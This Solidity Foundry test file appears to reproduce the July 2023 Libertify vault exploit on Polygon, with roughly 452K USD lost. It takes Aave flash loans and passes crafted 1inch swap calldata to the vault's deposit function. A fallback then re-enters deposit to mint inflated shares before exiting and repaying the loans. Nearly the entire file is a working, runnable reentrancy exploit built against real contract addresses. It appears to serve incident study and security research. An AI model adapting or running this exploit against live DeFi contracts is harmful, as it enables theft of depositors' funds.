src/test/2023-07/Libertify_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~452K USD$
8// Attacker : https://polygonscan.com/address/0xfd2d3ffb05ad00e61e3c8d8701cb9036b7a16d02
9// Attack Contract : https://polygonscan.com/address/0xdfcdb5a86b167b3a418f3909d6f7a2f2873f2969
10// Vulnerable Contract : https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b
11// Attack Tx : https://polygonscan.com/tx/0x7320accea0ef1d7abca8100c82223533b624c82d3e8d445954731495d4388483
12 
13// @Info
14// Vulnerable Contract Code : https://polygonscan.com/address/0x9c80a455ecaca7025a45f5fa3b85fd6a462a447b#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/peckshield/status/1678688731908411393
18// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1678694679767031809
19 
20interface ILibertiVault {
21    function deposit(uint256 assets, address receiver, bytes calldata data) external returns (uint256 shares);
22    function exit() external returns (uint256 amountToken0, uint256 amountToken1);
23}
24 
25interface IAggregationExecutor {
26    /// @notice Make calls on `msgSender` with specified data
27    function callBytes(address msgSender, bytes calldata data) external payable; // 0x2636f7f8
28}
29 
30interface oneInchV4Router {
31    struct SwapDescription {
32        IERC20 srcToken;
33        IERC20 dstToken;
34        address payable srcReceiver;
35        address payable dstReceiver;
36        uint256 amount;
37        uint256 minReturnAmount;
38        uint256 flags;
39        bytes permit;
40    }
41 
42    function swap(
43        IAggregationExecutor caller,
44        SwapDescription calldata desc,
45        bytes calldata data
46    ) external payable returns (uint256 returnAmount, uint256 spentAmount, uint256 gasLeft);
47}
48 
49contract ContractTest is Test {
50    IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
51    IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
52    IAaveFlashloan aaveV2 = IAaveFlashloan(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);
53    ILibertiVault LibertiVault = ILibertiVault(0x9c80a455ecaca7025A45F5fa3b85Fd6A462a447b);
54    oneInchV4Router inchV4Router = oneInchV4Router(0x1111111254fb6c44bAC0beD2854e76F90643097d);
55    Uni_Router_V3 Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
56    uint256 nonce;
57 
58    function setUp() public {
59        vm.createSelectFork("polygon", 44_941_584);
60        vm.label(address(USDT), "USDT");
61        vm.label(address(WETH), "WETH");
62        vm.label(address(aaveV2), "aaveV2");
63        vm.label(address(inchV4Router), "inchV4Router");
64    }
65 
66    function testExploit() external {
67        deal(address(WETH), address(this), 0.004 ether);
68        WETH.approve(address(LibertiVault), type(uint256).max);
69        address[] memory assets = new address[](1);
70        assets[0] = address(USDT);
71        uint256[] memory amounts = new uint256[](1);
72        amounts[0] = 5_000_000 * 1e6;
73        uint256[] memory modes = new uint256[](1);
74        modes[0] = 0;
75        aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
76        aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
77 
78        emit log_named_decimal_uint(
79            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
80        );
81 
82        emit log_named_decimal_uint(
83            "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
84        );
85    }
86 
87    function executeOperation(
88        address[] calldata assets,
89        uint256[] calldata amounts,
90        uint256[] calldata premiums,
91        address initiator,
92        bytes calldata params
93    ) external returns (bool) {
94        USDT.approve(address(aaveV2), type(uint256).max);
95 
96        bytes memory callData = setData();
97        LibertiVault.deposit(0.001 ether, address(this), callData);
98 
99        LibertiVault.exit();
100        if (USDT.balanceOf(address(this)) < (amounts[0] + premiums[0])) {
101            WETHToUSDT(amounts[0], premiums[0]);
102        }
103        return true;
104    }
105 
106    // function callBytes(address msgSender, bytes calldata data) external payable {
107    //     nonce++;
108    //     if (nonce % 2 == 1) {
109    //         bytes memory callData = setData();
110    //         LibertiVault.deposit(0.001 ether, address(this), callData); // re-enter the 'deposit()' during callBytes() call to manipulate the totalSupply , mint more share
111    //     }
112    //     USDT.transfer(address(inchV4Router), 2_500_000 * 1e6);
113    // }
114 
115    fallback() external payable {
116        nonce++;
117        if (nonce % 2 == 1) {
118            bytes memory callData = setData();
119            LibertiVault.deposit(0.001 ether, address(this), callData); // re-enter the 'deposit()' during callBytes() call to manipulate the totalSupply , mint more share
120        }
121        USDT.transfer(address(inchV4Router), 2_500_000 * 1e6);
122    }
123 
124    function setData() internal view returns (bytes memory data) {
125        //1inchV4Router.swap(caller, desc, data)
126        IAggregationExecutor caller = IAggregationExecutor(address(this));
127        oneInchV4Router.SwapDescription memory desc = oneInchV4Router.SwapDescription(
128            WETH, USDT, payable(address(this)), payable(address(LibertiVault)), 252_700 * 1e9, 1, 0, ""
129        );
130        data = abi.encodeWithSelector(bytes4(0x7c025200), caller, desc, new bytes(1));
131        return data;
132    }
133 
134    function WETHToUSDT(uint256 amount, uint256 premium) internal {
135        WETH.approve(address(Router), type(uint256).max);
136        Uni_Router_V3.ExactOutputSingleParams memory _Param = Uni_Router_V3.ExactOutputSingleParams({
137            tokenIn: address(WETH),
138            tokenOut: address(USDT),
139            fee: 3000,
140            recipient: address(this),
141            deadline: block.timestamp,
142            amountOut: amount + premium - USDT.balanceOf(address(this)),
143            amountInMaximum: type(uint256).max,
144            sqrtPriceLimitX96: 0
145        });
146        Router.exactOutputSingle(_Param);
147    }
148}